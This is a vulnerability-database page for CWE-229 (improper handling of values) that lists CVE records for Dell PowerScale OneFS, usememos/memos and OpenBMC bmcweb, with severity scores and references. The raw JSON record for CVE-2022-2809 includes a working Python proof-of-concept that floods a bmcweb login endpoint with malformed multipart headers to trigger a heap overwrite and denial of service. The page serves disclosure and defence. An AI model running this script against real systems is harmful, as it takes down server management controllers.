Common Weakness Enumeration
CWE-229
AllowedImproper Handling of Values
Abstraction: Base · Status: Incomplete
The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.
15 vulnerabilities reference this CWE, most recent first.
CVE-2022-24412 (GCVE-0-2022-24412)
Vulnerability from cvelistv5 – Published: 2022-04-12 17:50 – Updated: 2024-09-16 16:48
VLAI
EPSS
VEX
Summary
Dell EMC PowerScale OneFS 8.2.x - 9.3.0.x contain an improper handling of value vulnerability. An unprivileged network attacker could potentially exploit this vulnerability, leading to denial-of-service.
Severity
7.5 (High)
CWE
- CWE-229 - Improper Handling of Missing Values
Assigner
dell
CNA
References
1 reference
| URL | Tags |
|---|---|
| https://www.dell.com/support/kbdoc/000196657 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dell | PowerScale OneFS |
Affected:
8.2.x - 9.3.0.x
|
Date Public
2022-03-03 00:00
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CVE-2022-22562 (GCVE-0-2022-22562)
Vulnerability from cvelistv5 – Published: 2022-04-12 17:50 – Updated: 2024-09-17 03:08
VLAI
EPSS
VEX
Summary
Dell PowerScale OneFS, versions 8.2.0-9.3.0, contain a improper handling of missing values exploit. An unauthenticated network attacker could potentially exploit this denial-of-service vulnerability.
Severity
7.5 (High)
CWE
- CWE-229 - Improper Handling of Values
Assigner
dell
CNA
References
1 reference
| URL | Tags |
|---|---|
| https://www.dell.com/support/kbdoc/000195815 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Dell | PowerScale OneFS |
Affected:
8.2.0-9.2.1.x,
|
Date Public
2022-01-31 00:00
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CVE-2022-4851 (GCVE-0-2022-4851)
Vulnerability from cvelistv5 – Published: 2022-12-29 00:00 – Updated: 2025-04-10 16:36
VLAI
EPSS
VEX
Title
Improper Handling of Values in usememos/memos
Summary
Improper Handling of Values in GitHub repository usememos/memos prior to 0.9.1.
Severity
9.8 (Critical)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-04-09 18:34 UTC
CWE
- CWE-229 - Improper Handling of Values
Assigner
@huntrdev
CNA
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| usememos | usememos/memos |
Affected:
unspecified , < 0.9.1
(custom)
|
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CVE-2022-3409 (GCVE-0-2022-3409)
Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 17:52
VLAI
EPSS
VEX
Title
Unauthenticated out of bounds stack write in bmcweb
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-05-05 17:50 UTC
Assigner
OpenBMC
CNA
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OpenBMC Project | OpenBMC |
Affected:
2.10 , < Release*
(custom)
|
Date Public
2022-10-07 00:00
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CVE-2022-2809 (GCVE-0-2022-2809)
Vulnerability from cvelistv5 – Published: 2022-10-27 13:09 – Updated: 2025-05-05 20:20
VLAI
EPSS
VEX
Title
Unauthenticated out of bounds heap write in bmcweb
Summary
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Severity
8.2 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-05-05 20:20 UTC
Assigner
OpenBMC
CNA
References
1 reference
| URL | Tags |
|---|---|
| https://github.com/openbmc/bmcweb |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OpenBMC Project | OpenBMC |
Affected:
2.10 , < Release*
(custom)
|
Date Public
2022-10-07 00:00
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-03T00:52:59.125Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://github.com/openbmc/bmcweb"
}
],
"title": "CVE Program Container"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2022-2809",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-05-05T20:20:05.867799Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-05-05T20:20:18.093Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "OpenBMC",
"vendor": "OpenBMC Project",
"versions": [
{
"changes": [
{
"at": "2.13",
"status": "unaffected"
}
],
"lessThan": "Release*",
"status": "affected",
"version": "2.10",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Finder: Jakub Rozanski, Intel Corporation"
},
{
"lang": "en",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
}
],
"datePublic": "2022-10-07T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
],
"exploits": [
{
"lang": "en",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-229",
"description": "CWE-229: Improper Handling of Values",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-122",
"description": "CWE-122: Heap-based Buffer Overflow",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2022-10-27T00:00:00.000Z",
"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"shortName": "OpenBMC"
},
"references": [
{
"url": "https://github.com/openbmc/bmcweb"
}
],
"solutions": [
{
"lang": "en",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "Unauthenticated out of bounds heap write in bmcweb",
"x_generator": {
"engine": "Vulnogram 0.0.9"
}
}
},
"cveMetadata": {
"assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514",
"assignerShortName": "OpenBMC",
"cveId": "CVE-2022-2809",
"datePublished": "2022-10-27T13:09:19.424Z",
"dateReserved": "2022-08-13T00:00:00.000Z",
"dateUpdated": "2025-05-05T20:20:18.093Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.